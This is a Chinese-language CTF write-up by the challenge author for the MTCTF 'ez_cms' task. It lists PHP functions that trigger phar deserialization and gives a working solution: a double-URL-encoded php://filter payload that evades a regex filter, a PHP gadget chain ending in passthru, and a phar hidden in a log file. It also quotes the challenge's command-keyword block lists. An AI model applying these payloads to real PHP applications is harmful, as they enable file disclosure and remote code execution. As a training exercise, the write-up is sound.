文章目录

  • 写在前面
  • Dockerhub
  • phar反序列化可用函数
  • Wp

写在前面

太惨了,太傻了我,迷迷糊糊写了两天CMS,又累又自闭,还搞错了东西,给各位大师傅们道歉了,下面大师傅们要是瞧得上的话就那啥可以复现复现

PS:哦这里解释一下,虽然时间是10点发布的,但是我一开始是发布私密文章,今天早上才开启公布的,是在Wp截止后的早晨发的

Dockerhub

昨晚把环境传上去了

docker pull y4tacker/ez_yxcms:1.0

phar反序列化可用函数

xmlwrite_open_uri
readgzfile
gzfile
mime_content_type
imagecreatefrompng
imagecreatefromgif
imagecreatefromjpeg
imagecreatefromwbmp
imagecreatefromxbm
imagecreatefromgd
imagecreatefromgd2
imageloadfont
simplexml_load_file
sha1_file
md5_file
getimagesize
unlink
highlight_file
show_source
php_strip_whitespace
parse_ini_file
readfile
rmdir
mkdir
file
file_get_contents
get_meta_tags
opendir
dir
scandir
fileatime
filectime
filegroup
fileinode
filemtime
fileowner
fileperms
filesize
filetype
file_exists
is_writable
is_writeable
is_readable
is_executable
is_file
is_dir
is_link
stat
lstat
touch
// zip
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');
//Postgres pgsqlCopyToFile和pg_trace同样也是能使用的,需要开启phar的写功能。
<?php$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));@$pdo->pgsqlCopyFromFile('aa', 'phar://phar.phar/aa');
?>
还有很多笔记没在这台电脑上,反正大概看看吧

事实上只要底层调⽤了
_php_stream_open_wrapper_ex的函数,都有可能触发 phar 反序列化

Wp

开局一个游戏

首先访问robots.txt

Disallow: /h1nt.php

页面会打印出

database_type:sqlite
database_file:db/user.db3

下载得到user.db3文件由此拿到密码

进去后发现头像部分url为class/showImage.php?file=logo.jpg

猜测存在任意文件读,去掉后缀以后,得到源码

<?phperror_reporting(0);
if ($_GET['file']){$filename = $_GET['file'];if ($filename=='logo.jpg'){header("Content-Type:image/png");echo file_get_contents("../static/images/logo.jpg");}else{ini_set('open_basedir','./');if ($filename=='hint.php'){echo 'nononono!';} else{if(preg_match('/read|[\x00-\x24\x26-\x2c]| |base|rot|strip|encode|flag|tags|iconv|utf|input|convertstring|lib|crypt|\.\.|\.\//i', $filename)){echo "hacker";}else{include($filename);}}}
}else{highlight_file(__FILE__);
}

尝试用伪协议读文件,可是发现过滤的很严格,但是放出了%25也就是%,配合文件包含函数的url解码可以桡过,过滤了read,其实可以直接忽略因为是等价的

因此构造payload

?file=php://filter/conv%6%35rt.bas%6%3564-%6%35ncode/resource=hint.php

解码发现了文件目录树

<?php
//以下是class目录结构
/*
- class-- cache-- tempaltes--- api- Api.php---admin-add_category.php-category_list.php-edit_category.php-admin.php-footer.php-header.php-left.php- login.php- index.php- api.php-- auth.php-- file_class.php-- hint.php-- Medoo.php-- render_file.php-- showImage.php-- info.php
*/

读取文件后开始代码审计,最后通过构造popchain

UserInfo->SuperAdmin->ExportExcel
class UserInfo
{public $username;public $nickname;public $role;public $userFunc;public function __construct($username, $nickname, $userFunc, $role = ''){$this->username = new SuperAdmin("1", "1");;$this->nickname = $nickname;$this->userFunc = $userFunc;$this->role = $role;}}class SuperAdmin
{public $username;public $role;public $isSuperAdmin;public $OwnMember;public function __construct($username, $OwnMember, $superAdmin = '', $role = ''){$this->username = $username;$this->OwnMember = $OwnMember;$this->isSuperAdmin = new ExportExcel("whoami", "b", "passthru");;$this->role = $role;}}class ExportExcel
{public $filename;public $exportname;public $do;public function __construct($filename, $exportname, $do){$this->filename = $filename;$this->exportname = $exportname;$this->do = $do;}}

通过登录处可控制日志文件写入phar后,发现admin.php泄露日志地址

、<li style="font-size: 20px;">上次登录时间:<?php $a = new renderUtil("",Log,empty($_POST['file'])?"./class/cache/lastTime.txt":$_POST['file']);echo $a;?></li>

并且renderUtil的destrcu方法的extractZip方法看出可以执行phar反序列化利用

public static function extractZip($file,$content){$zip = new ZipArchive();$res = $zip->open($file);if ($res){$zip->extractTo($content);}else{echo 'no ZipFile';}$zip->close();}xxxxxxxxxx public static function extractZip($file,$content){        $zip = new ZipArchive();        $res = $zip->open($file);        if ($res){            $zip->extractTo($content);        }else{            echo 'no ZipFile';        }        $zip->close();    }public function __destruct(){        if (!empty($this->file)){            $ret = $this->file->open($this->filename,$this->content);        }        if (!empty($ret)){            fileUtil::extractZip($this->filename, $this->content);        }    }

执行命令发现根目录存在/flagg,文件读取命令大多被禁用了,当然过滤不严格passthru可以哦

function wudiWaf($name){if(preg_match('/system|call|proc|ob|mail|put|env|dl|ini|exec|array|create|_|ch|op|log|link|pcntl|imap|cat|tac|>|more|less|head|tail|nl|sort|od|base|awk|cut|grep|uniq|string|sh|sed|rev|zip|\\\\|py|[\x01-\x19]|\*|\?/',$name)){die("NO");}else{return true;}
}

访问?page=admin&c=admin
post数据,即可拿到flag

file=phar://./class/cache/lastTime.txt/test.txt

[MTCTF]从出题人视角看ez_cms相关推荐

  1. 从技术人视角看闪电网络之微支付通道

    (要看懂这篇文章,读者需掌握BTC基本原理,包括转账原理和多签地址.地址锁定时间.隔离见证) (感谢闪电网络很难懂?你需要看看这篇文章 | 硬核科普这个教程提供的图片) 比特币的价值传输相当安全,但是 ...

  2. Java实现 LeetCode 521 最长特殊序列 Ⅰ(出题人:“就是喜欢看你们不敢相信那么简单,又不敢提交的样子。”)

    521. 最长特殊序列 Ⅰ 给定两个字符串,你需要从这两个字符串中找出最长的特殊序列.最长特殊序列定义如下:该序列为某字符串独有的最长子序列(即不能是其他字符串的子序列). 子序列可以通过删去字符串中 ...

  3. 为什么有的人喜欢看烧脑剧?

    # 为什么有的人喜欢看烧脑剧? ### 什么是"烧脑" 通常指影视作品悬念高深莫测,需要极高智商才能看通透,并且可以获得脑细胞燃烧的快感. ### 烧脑剧有什么? 烧脑剧常常伴有大 ...

  4. BAT华为美团头条面试考什么?这份GitHub万星资源,告诉你面试题+答案+出题人分析...

    铜灵 发自 凹非寺 量子位 出品 | 公众号 QbitAI 2020校招脚步临近,怎样备战即将到来的面试,在众多面试者中脱颖而出惊艳到面试官,化身大厂Offer收割机? GitHub上就有这样一个万星 ...

  5. 【GAN优化】从动力学视角看GAN是一种什么感觉?

    今天讲述的内容是GAN与动力学,这是一个非常好玩.非常新鲜的视角.考虑到很多人微积分和线性代数等知识的涉猎不多,我将会对涉及的内容都做出基本说明,也并不会涉及过深入的东西,然后争取串成一个故事,扩展一 ...

  6. 探秘RocketMQ源码——Series1:Producer视角看事务消息

    简介:探秘RocketMQ源码--Series1:Producer视角看事务消息 1. 前言 Apache RocketMQ作为广为人知的开源消息中间件,诞生于阿里巴巴,于2016年捐赠给了Apach ...

  7. [选拔赛1]花园(矩阵快速幂),JM的月亮神树(最短路),保护出题人(斜率优化)

    多年不考试,一夜回到解放前 T1:花园 title solution code T2:月亮神树 title solution code T3:保护出题人 title solution code T1: ...

  8. 【干货】从点击率预估的视角看腾讯社交广告算法大赛

    [干货]从点击率预估的视角看腾讯社交广告算法大赛 大赛简介 腾讯社交广告算法大赛以广告领域常见的转化率预估问题作为出题思路,从用户历史一个月的行为数据中采样竞赛数据,数据规模达几十GB.比赛题目足够诚 ...

  9. 虚拟化—用新的视角看IT

    虚拟化-用新的视角看IT 2009-12-30 21:01:45 标签:虚拟化 VMware 云计算 原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 .作者信息和本声明.否则将追究法律 ...

最新文章

  1. 【机器学习】机器学习Top10算法,教你选择最合适的那一个!一文读懂ML中的解析解与数值解...
  2. 随笔② Java中的关键字 --- final关键字
  3. 64位ubuntu 12.04编译linux内核提示openssl/opensslv.h文件缺失
  4. mysql索引引擎_mysql搜索引擎和索引那些事
  5. java线程池_Java 并发编程 线程池源码实战
  6. org.hibernate.AnnotationException: mappedBy reference an unknown target entity property
  7. 通过千千静听歌词服务器下载歌词(Delphi版)
  8. Axure RP原型
  9. unity 简易游戏打飞碟V2
  10. HORAE深入思考及长久性论证
  11. 天嵌IMX6核心板竞品分析(启杨IMX6)
  12. visdom远程连接服务器
  13. 卡塔兰数(Catalan Number)--动态规划(Dynamic Programming)
  14. 简单易懂之什么是重排和重绘?
  15. revit相关报错合集
  16. 神经网络—卷积神经网络CNN
  17. 移动测试工程师必须知道的10个开源框架
  18. 博客园的html编辑器,博客园 - 小桥 - 在线HTML编辑器原理
  19. 限制EditText 输入Emjoy 表情符号
  20. 计算机一级在上网题中怎么新建文本文件,计算机一级上网题教程 计算机基础知识题库...

热门文章

  1. 智能家居系统模型设计2.0
  2. CUDA学习第三天:Kernel+grid+block关系
  3. 都2021年了,你还在考虑电赛飞行器赛题,备赛是否有必要用基于TI处理芯片的飞控问题?
  4. EasyCVR搭建视频安防综合运维管理平台,联合集成商打造专业视频解决方案
  5. DockerHub上最受欢迎的151个官方镜像,相传掌握第17个可以主宰宇宙!
  6. 虚拟化(六):vmware 桌面虚拟化 horizon view 介绍
  7. 日紫白飞星算法_九星紫白飞星规律
  8. C语言实现五子棋小游戏,草履虫都直呼不过如此
  9. 【蓝桥杯】Python字符串处理和应用
  10. 大家都怎么评价自己的研究生导师?